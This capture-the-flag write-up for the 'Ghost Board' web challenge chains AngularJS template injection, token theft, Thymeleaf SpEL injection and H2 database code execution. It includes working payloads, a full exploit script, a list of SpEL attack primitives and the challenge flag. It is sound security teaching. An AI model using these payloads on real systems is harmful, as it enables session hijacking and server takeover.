Ghost Board CTF Writeup

0x5t
0x5t avatar
Security Researcher
Team: RaptX
Posts: --
Joined: 2024
Posted:  |  Tags: CTF, Web Exploitation, AngularJS, SSTI, Spring Boot, H2 Database

Challenge Overview

Field Value
Challenge Name Ghost Board
Category Web Exploitation
Difficulty Medium
Target http://challenges2.ctf.sd:33125
Flag 0xL4ugh{c0ngr47z_y0u_did_wh47_sh4d0w_did_in_bug_b0un7y_8548f69a3e9f1b7407020f913e031a44}

Ghost Board is a web application built with Spring Boot (backend) and AngularJS (frontend) that allows users to create and view "boards". An admin bot periodically visits the boards page, and a flag is stored in a randomly-named file on the server.


Vulnerability Chain

Step Vulnerability Impact
1 AngularJS Client-Side Template Injection (CSTI) XSS via $compile directive
2 Filter Bypass Bracket notation bypasses .constructor block
3 Thymeleaf Server-Side Template Injection (SSTI) SpEL execution via __${...}__ preprocessing
4 H2 Database Code Execution Arbitrary Java via CREATE ALIAS

Part 1: Stealing Admin JWT Token

1.1 The Vulnerability

In boardsController.js:118-128, a custom AngularJS directive compiles user-controlled content:

app.directive('compileHtml', ['$compile', function($compile) {
    return {
        restrict: 'A',
        link: function(scope, element, attrs) {
            scope.$watch(attrs.compileHtml, function(value) {
                element.html(value);
                $compile(element.contents())(scope);  // VULNERABLE
            });
        }
    };
}]);

This directive is used on board titles in boards.html:29:

<h3 class="board-title" compile-html="board.title"></h3>

Understanding AngularJS Template Injection

AngularJS uses double curly braces {{ }} for template expressions. When $compile processes user input, any AngularJS expressions in the content are evaluated. This is fundamentally different from traditional XSS – we're not injecting HTML/JavaScript directly, but abusing the framework's own template engine.

The attack surface exists because:

  1. Template expressions are evaluated{{ 7*7 }} becomes 49
  2. Scope is accessible – We can access controller variables and functions
  3. Prototype chain is traversable – We can reach JavaScript built-ins via constructor

1.2 The Filter

The backend blocks certain patterns in BoardController.java:

if (request.getTitle().toLowerCase().contains(".constructor") ||
    request.getTitle().toLowerCase().contains("<") ||
    request.getTitle().toLowerCase().contains("javascript:") ||
    request.getTitle().toLowerCase().contains("onerror") ||
    request.getTitle().toLowerCase().contains("onload")) {
    return ResponseEntity.badRequest().body("Title contains blocked patterns");
}

1.3 The Bypass

JavaScript allows two syntaxes for property access:

obj.property      // Dot notation
obj['property']   // Bracket notation

These are semantically identical, but the filter only blocks dot notation:

  • Blocked: ''.constructor.constructor
  • Allowed: ''['constructor']['constructor']

1.4 The Payload

Title (52 chars):

{{''['constructor']['constructor'](board.content)()}}

Content (JavaScript payload):

fetch('/api/boards',{method:'POST',headers:{'Content-Type':'application/json','Authorization':'Bearer '+localStorage.token},body:JSON.stringify({title:'PWN',content:localStorage.token})})

Payload Breakdown

''['constructor']           → String.prototype.constructor → String
  ['constructor']           → String.constructor → Function
    (board.content)         → Function(code) - creates function from string
      ()                    → Execute the function

This is the classic "constructor chain" technique:

// These are equivalent:
eval("alert(1)")
''['constructor']['constructor']("alert(1)")()
Function("alert(1)")()

The payload:

  1. Accesses the Function constructor via the prototype chain
  2. Creates a new function from board.content (our JS code)
  3. Executes it immediately
  4. The JS code steals the admin's JWT from localStorage and saves it to a new board

1.5 Exploitation Steps

TARGET="http://challenges2.ctf.sd:33125"

# 1. Register user
curl -s "$TARGET/api/auth/register" \
  -H "Content-Type: application/json" \
  -d '{"username":"test","password":"test"}'

# Save token from response
TOKEN="<your_token>"

# 2. Create XSS board
curl -s "$TARGET/api/boards" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "title": "{{'\'''\''['\'constructor\'']['\'constructor\''](board.content)()}}",
    "content": "fetch('\''/api/boards'\'',{method:'\''POST'\'',headers:{'\''Content-Type'\'':'\''application/json'\'','\''Authorization'\'':'\''Bearer '\''+localStorage.token},body:JSON.stringify({title:'\''PWN'\'',content:localStorage.token})})"
  }'

# 3. Trigger bot
curl -s -X POST "$TARGET/api/visit" -H "Authorization: Bearer $TOKEN"

# 4. Wait and retrieve admin token
sleep 5
curl -s "$TARGET/api/boards" -H "Authorization: Bearer $TOKEN" | jq '.[] | select(.title=="PWN") | .content'

Part 2: Server-Side Template Injection (SSTI)

2.1 Understanding SSTI

Server-Side Template Injection occurs when user input is embedded into a template that's processed server-side. Unlike CSTI (client-side), SSTI executes on the server with full access to the backend runtime.

SSTI vs XSS

Aspect XSS/CSTI SSTI
Execution Client browser Server
Access DOM, cookies, localStorage Files, databases, system
Impact User compromise Server compromise
Detection Browser DevTools Server logs, errors

2.2 Thymeleaf Template Engine

Thymeleaf is a Java template engine commonly used with Spring Boot. It supports Spring Expression Language (SpEL) for dynamic content.

Normal Thymeleaf syntax:

<span th:text="${user.name}">Default</span>
<a th:href="@{/user/{id}(id=${user.id})}">Profile</a>

The preprocessing syntax:

Thymeleaf supports a special preprocessing syntax: __${...}__

This syntax evaluates the expression BEFORE the main template processing:

<!-- Step 1: Preprocess __${expr}__ -->
<span th:text="@{'/path/__${variable}__'}">

<!-- Step 2: If variable = "foo", becomes: -->
<span th:text="@{'/path/foo'}">

<!-- Step 3: Normal Thymeleaf processing -->

2.3 The Vulnerability

In admin-dashboard.html:87, the Referer header is processed with Thymeleaf preprocessing:

<span th:text="@{'/login?redirectAfterLogin=__${Referer}__'}"></span>

The Referer header value is inserted into the preprocessing expression without sanitization. If we control Referer, we control the SpEL expression.

2.4 Spring Expression Language (SpEL) Deep Dive

SpEL is a powerful expression language supporting:

  • Property access: ${user.name}
  • Method calls: ${user.getName()}
  • Type references: ${T(java.lang.Runtime)}
  • Bean references: ${@beanName}
  • Operators: ${1 + 1}, ${name == 'admin'}

SpEL Attack Primitives

1. Type References (T operator):

T(java.lang.Runtime).getRuntime().exec('id')
T(java.lang.System).getenv()

2. Bean References (@ operator):

@environment.getProperty('spring.datasource.url')
@jdbcTemplate.queryForList('SELECT * FROM users')

3. Reflection:

''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(...)

2.5 Payload Structure

To inject into the preprocessing context, we need to break out of the URL syntax:

'} + ${<SPEL_EXPRESSION>} + @{'

How it works:

<!-- Original template -->
<span th:text="@{'/login?redirectAfterLogin=__${Referer}__'}">

<!-- With Referer: '} + ${7*7} + @{' -->
<!-- After preprocessing: -->
<span th:text="@{'/login?redirectAfterLogin=__'} + ${7*7} + @{'__'}">

<!-- SpEL evaluates ${7*7} = 49 -->
<!-- Final output includes: 49 -->

2.6 Useful Payloads

Purpose Payload
Test SSTI '} + ${7*7} + @{' → returns 49
List beans '} + ${T(java.lang.String).join(',', @thymeleafViewResolver.getApplicationContext().getBeanDefinitionNames())} + @{'
Env vars '} + ${@environment.getSystemEnvironment()} + @{'
Read file '} + ${@jdbcTemplate.queryForObject("SELECT FILE_READ('/path')", T(java.lang.String))} + @{'

Part 3: Reading the Flag

3.1 The Problem

The flag is stored in /flag-<random16chars>.txt. We need to:

  1. Discover the filename (directory listing)
  2. Read its contents

3.2 H2 Database Capabilities

The application uses H2, an embedded Java database. H2 has several dangerous built-in functions:

Function Purpose
FILE_READ(path) Read file contents
FILE_WRITE(data, path) Write to file
CSVREAD(path) Read CSV file
CREATE ALIAS Define custom Java functions

3.3 Creating H2 LISTDIR Alias

H2's CREATE ALIAS allows defining custom functions in Java:

CREATE ALIAS IF NOT EXISTS LISTDIR AS $$
  String[] listDir(String path) {
    return new java.io.File(path).list();
  }
$$

SSTI Payload:

'} + ${@jdbcTemplate.execute("CREATE ALIAS IF NOT EXISTS LISTDIR AS $$ String[] listDir(String path) { return new java.io.File(path).list(); } $$")} + @{'

3.4 Listing Root Directory

'} + ${@jdbcTemplate.queryForList("SELECT LISTDIR('/')")} + @{'

Response contains:

[..., 'flag-knk5uzalv8uqrjj1.txt', ...]

3.5 Reading the Flag

'} + ${@jdbcTemplate.queryForObject("SELECT FILE_READ('/flag-knk5uzalv8uqrjj1.txt', 'UTF-8')", T(java.lang.String))} + @{'

Full Exploit Script

#!/bin/bash
TARGET="http://challenges2.ctf.sd:33125"

echo "[*] Step 1: Registering user"
RESP=$(curl -s "$TARGET/api/auth/register" \
  -H "Content-Type: application/json" \
  -d '{"username":"test","password":"test"}')
TOKEN=$(echo "$RESP" | jq -r '.token')
echo "[+] Token: ${TOKEN:0:50}..."

echo "[*] Step 2: Creating XSS board"
cat > /tmp/payload.json << 'EOF'
{
  "title": "{{''['constructor']['constructor'](board.content)()}}",
  "content": "fetch('/api/boards',{method:'POST',headers:{'Content-Type':'application/json','Authorization':'Bearer '+localStorage.token},body:JSON.stringify({title:'PWN',content:localStorage.token})})"
}
EOF
curl -s "$TARGET/api/boards" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d @/tmp/payload.json > /dev/null

echo "[*] Step 3: Triggering bot"
curl -s -X POST "$TARGET/api/visit" -H "Authorization: Bearer $TOKEN" > /dev/null
sleep 5

echo "[*] Step 4: Retrieving admin token"
ADMIN_TOKEN=$(curl -s "$TARGET/api/boards" \
  -H "Authorization: Bearer $TOKEN" | jq -r '.[] | select(.title=="PWN") | .content' | head -1)
echo "[+] Admin Token: ${ADMIN_TOKEN:0:50}..."

echo "[*] Step 5: Creating LISTDIR alias"
curl -s "$TARGET/api/admin/dashboard" \
  -H "Authorization: Bearer $ADMIN_TOKEN" \
  -H 'Referer: '"'"'} + ${@jdbcTemplate.execute("CREATE ALIAS IF NOT EXISTS LISTDIR AS $$ String[] listDir(String path) { return new java.io.File(path).list(); } $$")} + @{'"'"'' > /dev/null

echo "[*] Step 6: Finding flag filename"
FLAG_FILE=$(curl -s "$TARGET/api/admin/dashboard" \
  -H "Authorization: Bearer $ADMIN_TOKEN" \
  -H "Referer: '} + \${@jdbcTemplate.queryForList(\"SELECT LISTDIR('/')\")} + @{'" | grep -oE "flag-[a-z0-9]+\.txt")
echo "[+] Flag file: $FLAG_FILE"

echo "[*] Step 7: Reading flag"
FLAG=$(curl -s "$TARGET/api/admin/dashboard" \
  -H "Authorization: Bearer $ADMIN_TOKEN" \
  -H "Referer: '} + \${@jdbcTemplate.queryForObject(\"SELECT FILE_READ('/$FLAG_FILE', 'UTF-8')\", T(java.lang.String))} + @{'" | grep -oE "0xL4ugh\{[^}]+\}")
echo "[+] FLAG: $FLAG"

SSTI Detection Methodology

When testing for SSTI, use this decision tree:

┌─────────────────────────────────────────────────────────────────┐
│                    SSTI Detection Flow                          │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  1. Inject: ${7*7} or {{7*7}} or <%= 7*7 %>               │
│     └─► Response contains "49"? → Likely SSTI                   │
│                                                                 │
│  2. Identify template engine:                                   │
│     ├─ {{7*7}} = 49      → Jinja2, Twig, AngularJS              │
│     ├─ ${7*7} = 49       → FreeMarker, Thymeleaf, Velocity      │
│     ├─ #{7*7} = 49       → Thymeleaf (older), Ruby ERB          │
│     └─ <%= 7*7 %> = 49   → ERB, EJS                       │
│                                                                 │
│  3. Escalate based on engine:                                   │
│     ├─ Thymeleaf → SpEL: T(java.lang.Runtime)...                │
│     ├─ FreeMarker → <#assign x="freemarker...">           │
│     ├─ Jinja2 → {{config.__class__.__init__...}}                │
│     └─ Twig → {{_self.env.registerUndefinedFilterCallback...}}  │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

Flag

0xL4ugh{c0ngr47z_y0u_did_wh47_sh4d0w_did_in_bug_b0un7y_8548f69a3e9f1b7407020f913e031a44}

Key Takeaways

  1. Filter Bypass: Bracket notation ['constructor'] bypasses dot notation filters
  2. AngularJS CSTI: $compile on user input enables prototype chain traversal to Function
  3. SSTI vs CSTI: Server-side execution = server compromise, not just user compromise
  4. Thymeleaf Preprocessing: __${...}__ evaluates SpEL before main template processing
  5. H2 Database: CREATE ALIAS enables arbitrary Java code execution
  6. Chained Vulnerabilities: XSS → Token Theft → SSTI → File Read

References

Contents